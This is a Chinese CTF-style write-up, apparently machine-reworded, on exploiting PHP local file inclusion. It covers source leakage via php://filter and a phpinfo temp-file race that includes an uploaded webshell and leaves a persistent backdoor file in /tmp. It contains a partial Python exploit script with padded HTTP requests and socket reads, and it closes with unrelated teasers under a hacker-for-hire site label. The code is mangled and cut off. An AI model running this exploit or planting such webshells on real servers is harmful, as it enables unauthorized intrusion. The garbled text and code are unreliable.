前语
最近遇到一些文件包括的标题,在本篇文章记载两个trick。
环境布景
复现环境仍是很简略建立的:
例题1(php7)
index.php
dir.php
例题2(php5)
index.php
phpinfo.php
两道题的终究目标都是拿到根目录的flag。
phpinfo+LFI
咱们看到例题2:
咱们有文件包括,那么咱们能够简略的用伪协议走漏源代码:
file=php://filter/read=convert.base64-encode/resource=index.php
这是陈词滥调的问题,无需多讲,要点在于怎么去读取根目录的flag。
最简略想到的是运用包括:
http://ip/index.php?file=/flag
可是由于:
if (strpos($a,'flag')!==false) {
die('nonono');
}
咱们并不能进行读取,那么很简略想到,测验getshell。
这儿咱们能够介绍之一个trick,即运用phpinfo会打印上传缓存文件途径的特性,进行缓存文件包括到达getshell的意图。
咱们简略写一个测验脚本:
import requests
from io import BytesIO
files = {
'file': BytesIO("
能够看到回显中有如下内容:
_FILES["file"]
Array
(
[name] => test.txt
[type] => application/octet-stream
[tmp_name] => /tmp/phptZQ0xZ
[error] => 0
[size] => 26
)
咱们只需运用这一特性,进行包括getshell即可。
首要咱们运用正则匹配,提取暂时文件名:
data = re.search(r"(? ).*", r.content).group(0)
接下来便是条件竞赛的问题:怎么在文件暂时文件消失前,包括到它。
这儿为了事半功倍,我搜集了一些材料和原理:
1.暂时文件在phpinfo页面加载完毕后才会被删去。
2.phpinfo页面会将一切数据都打印出来,包括header。
3.php默许的输出缓冲区巨细为4096,能够理解为php每次回来4096个字节给socket衔接。
(来自ph牛:https://github.com/vulhub/vulhub/tree/master/php/inclusion)
那么咱们的竞赛流程能够总结为:
1.发送包括了webshell的上传数据包给phpinfo页面,一起在header中塞满垃圾数据。
2.由于phpinfo页面会将一切数据都打印出来,垃圾数据会加大phpinfo加载时刻。
3.直接操作原生socket,每次读取4096个字节。只需读取到的字符里包括暂时文件名,就当即发送第二个数据包。
4.此刻,之一个数据包的socket衔接实际上还没完毕,由于php还在持续每次输出4096个字节,所以暂时文件此刻还没有删去。
5.运用这个时刻差,在第二个数据包进行文件包括缝隙的运用,即可成功包括暂时文件,终究getshell。
一起,关于webshell也有考究,由于包括进程比较费事,假如运用一次性一句话木马:
则每次执行命令,都要进行一次包括,耗时耗力,所以咱们挑选包括后写入文件的shell:
');?>
这样一旦包括成功,该shell就会在tmp目录下永久留下一句话木马文件sky,下次运用直接轻松包括即可。
测验进行exp编写:
import os
import socket
import sys
def init(host,port):
padding = 'sky'*2000
payload="""sky test!');?>r"""
request1_data ="""------WebKitFormBoundary9MWZnWxBey8mbAQ8r
Content-Disposition: form-data; name="file"; filename="test.php"r
Content-Type: text/phpr
r
%s
------WebKitFormBoundary9MWZnWxBey8mbAQ8r
Content-Disposition: form-data; name="submit"r
r
Submitr
------WebKitFormBoundary9MWZnWxBey8mbAQ8--r
""" % payload
request1 = """POST /phpinfo.php?a="""+padding+""" HTTP/1.1r
Cookie: skypadding="""+padding+"""r
Cache-Control: max-age=0r
Upgrade-Insecure-Requests: 1r
Origin: nullr
Accept: """ + padding + """r
User-Agent: """+padding+"""r
Accept-Language: """+padding+"""r
HTTP_PRAGMA: """+padding+"""r
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary9MWZnWxBey8mbAQ8r
Content-Length: %sr
Host: %s:%sr
r
%s""" %(len(request1_data),host,port,request1_data)
request2 = """GET /index.php?file=%s HTTP/1.1r
User-Agent: Mozilla/4.0r
Proxy-Connection: Keep-Aliver
Host: %s:%sr
r
r
"""
return (request1,request2)
def getOffset(host,port,request1):
"""Gets offset of tmp_name in the php output"""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send(request1)
d = ""
while True:
i = s.recv(4096)
d+=i
if i == "":
break
if i.endswith("0rnrn"):
[1] [2] 黑客接单网
Web浸透测验中比较难的便是测验那些交互较少的使用了,当你尝试了各种缝隙使用办法而无效之后,很或许就会抛弃了。但有时分,这种花费时刻的投入和研讨,对白帽本身的技能进步来说,仍是十分有用的。这儿我就共...
众所周知,PHP将查询字符串(在URL或正文中)转换为$_GET或$_POST中的相关数组。例如:/ ?foo=bar被转换为Array([foo] => "bar")。查询字符串解析进程运用下...
“我真的可以查一下,但它不完整,”“我确实找到了,我看到几个人叫我的名字”。 在这篇帖子下,许多用户声称通过实际测量找到了关于自己或朋友的信息,并声称数据库不完整。 记者昨天登录该网站,利用自己和...
前语 在上一章,笔者现已介绍了BeEF结构。在这一章,笔者将介绍进犯阅读器技能的第一步:初始操控。 阅读器进犯办法流程 进犯阅读器一般分为几个阶段,看下图: 整个进程分为三个过程,第一步是初始化操控,...
序 这儿有必要得说一下==和===这俩货的重要性。==是比较运算,它不会去查看条件式的表达式的类型===是恒等,它会查看查表达式的值与类型是否持平NULL,0,”0″,array()运用==和fals...
Web运用防火墙一般会被布置在Web客户端与Web服务器之间,以过滤来自服务器的歹意流量。而作为一名浸透测验人员,想要更好的打破方针体系,就有必要要了解方针体系的WAF规矩。现在,许多WAF都是根据签...